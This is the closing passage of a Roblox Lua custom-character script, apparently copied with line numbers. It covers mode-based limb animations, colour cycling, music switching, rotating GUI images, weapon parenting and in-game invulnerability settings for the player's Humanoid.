                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(-200), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
4181
                RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 2 / Animation_Speed)
4182
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ -0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(15)), 2 / Animation_Speed)
4183
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(20 + MRANDOM(-5,5) - 1 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(MRANDOM(-5,5)), RAD(0)), 1 / Animation_Speed)
4184
                if MRANDOM(1,10) == 1 then
4185
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 + MRANDOM(-25,25) - 4 * COS(SINE / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 1.5 / Animation_Speed)
4186
                end
4187
            elseif(script["Mode"].Value == "Insane")then
4188
                Neck.C0 = Clerp(Neck.C0,CF(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)*ANGLES(RAD(-17 - 5 * COS(SINE / 52)),RAD(0 - 3 * COS(SINE / 37)),RAD(0 + 2 * COS(SINE / 78))),.2)
4189
                RightShoulder.C0 = Clerp(RightShoulder.C0,CF(1.5,0.5 + 0.05 * COS(SINE / 28),0)*ANGLES(RAD(-8 - 4 * COS(SINE / 59)),RAD(-20 + 7 * COS(SINE / 62)),RAD(20 + 5 * COS(SINE / 50))),.2)
4190
                RootJoint.C0 = Clerp(RootJoint.C0,EULER(-1.57,0,3.14)*CF(0 - 0.15 * COS(SINE / 47),-0.5,0.5 + 0.1 * COS(SINE / 28))*ANGLES(RAD(70),RAD(0 - RootPart.RotVelocity.Y),RAD(0 - RootPart.RotVelocity.Y *4.5 + 3 * COS(SINE / 47))),.2)
4191
                LeftShoulder.C0 = Clerp(LeftShoulder.C0,CF(-1.5,0.5 + 0.1 * COS(SINE / 28),0)*ANGLES(RAD(-8 - 3 * COS(SINE / 55)),RAD(20 + 8 * COS(SINE / 67)),RAD(-20 - 4 * COS(SINE / 29))),.2)
4192
                RightHip.C0 = Clerp(RightHip.C0,CF(1,-0.5,-0.6)*ANGLES(RAD(0),RAD(90),RAD(0))*ANGLES(RAD(1.5),RAD(0),RAD(-20 - 5 * COS(SINE / 34))),.2)
4193
                LeftHip.C0 = Clerp(LeftHip.C0,CF(-1,-1,0)*ANGLES(RAD(0),RAD(-90),RAD(0))*ANGLES(RAD(1),RAD(0),RAD(20 + 2 * COS(SINE / 38))),.2)
4194
                if MRANDOM(1,10) == 1 then
4195
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 + MRANDOM(-25,25) - 4 * COS(SINE / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 1.5 / Animation_Speed)
4196
                end
4197
            end
4198
        end
4199
    end
4200
    unanchor()
4201
    for _, c in pairs(HornFolder:GetChildren()) do
4202
        c.Color = C3(r / 255, g / 255, b / 255) -- BrickColor.Random().Color
4203
    end
4204
    for _, c in pairs(faceShadingFolder:GetChildren()) do
4205
        c.Color = C3(r / 255, g / 255, b / 255)
4206
    end
4207
    for i, v in pairs(NeonParts) do
4208
        v.Color = BrickColor.Random().Color
4209
    end
4210
    for i, v in pairs(ArmourParts) do
4211
        v.Color = C3(r / 255, g / 255, b / 255)
4212
    end
4213
    for _, c in pairs(Character:GetChildren()) do
4214
        if c:IsA('CharacterMesh') then
4215
            c:Destroy()
4216
        end
4217
    end
4218
    if(script["Mode"].Value == "ByeBye")then
4219
        if(sick.TimePosition > 47.0) then
4220
            sick.TimePosition = 0
4221
        end
4222
    end
4223
    if(script["Mode"].Value == "Karma")then
4224
        sick.SoundId = "rbxassetid://"..SONG1
4225
    elseif(script["Mode"].Value == "ByeBye")then
4226
        sick.SoundId = "rbxassetid://"..SONG2
4227
    elseif(script["Mode"].Value == "Insane")then
4228
        sick.SoundId = "rbxassetid://"..SONG3
4229
    end
4230
    sideLabel.Text = "Side: " .. script["Mode"].Value
4231
    if ATTACK == false then
4232
        if(script["Mode"].Value ~= "Insane")then
4233
            LeftArmGrasp.Part0 = RightArm
4234
            KarmaGun2.Parent = nil
4235
            KarmaGun.Parent = Character
4236
        elseif(script["Mode"].Value == "Insane")then
4237
            LeftArmGrasp.Part0 = LeftArm
4238
            KarmaGun2.Parent = Character
4239
            KarmaGun.Parent = nil
4240
        end
4241
    end
4242
    local fontNum = MRANDOM(1, 17)
4243
    for _, label in pairs(WEAPONGUI:GetDescendants()) do
4244
        if label:IsA("TextLabel") then
4245
            label.TextColor3 = BrickColor.Random().Color
4246
            label.TextScaled = true
4247
            label.Font = FONTS[MRANDOM(1, #FONTS)]
4248
        end
4249
    end
4250
    techc.Rotation = techc.Rotation + 1
4251
    techc.ImageColor3 = C3(r / 255, g / 255, b / 255)
4252
    circl.Rotation = circl.Rotation - sickPlaybackLoudness/75 - 1
4253
    circl.ImageColor3 = C3(r / 255, g / 255, b / 255)
4254
    circl2.Rotation = circl2.Rotation + sickPlaybackLoudness/50 + 1
4255
    circl2.ImageColor3 = C3(r / 255, g / 255, b / 255)
4256
    imgl2.Rotation = imgl2.Rotation - sickPlaybackLoudness/50 + 1
4257
    imgl2.ImageColor3 = BrickColor.Random().Color
4258
    imgl2b.Rotation = imgl2b.Rotation + sickPlaybackLoudness/25 - 1
4259
    imgl2b.ImageColor3 = BrickColor.Random().Color
4260
    ned.Rotation = 0 - 2 * math.cos(SINE / 24)
4261
    ned.Position = UDim2.new(0.7,0 - 10 * math.cos(SINE / 32),0.8,0 - 10 * math.cos(SINE / 45))
4262
    Humanoid.MaxHealth = "inf"
4263
    Humanoid.Health = "inf"
4264
    if Rooted == false then
4265
        Disable_Jump = false
4266
        Humanoid.WalkSpeed = Speed
4267
    elseif Rooted == true then
4268
        Disable_Jump = true
4269
        Humanoid.WalkSpeed = 0
4270
    end
4271
    local MATHS = {"0","1"}
4272
    Humanoid.Name = MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]..MATHS[MRANDOM(1,#MATHS)]
4273
    Humanoid.PlatformStand = false
4274
    MAINRUINCOLOR = BrickColor.Random()
4275
end
4276
 
4277
--//=================================\\
4278
--\\=================================//
4279
 
4280
 
4281
 
4282
 
4283
 
4284
--//====================================================\\--
4285
--||                     END OF SCRIPT
4286
--\\====================================================//--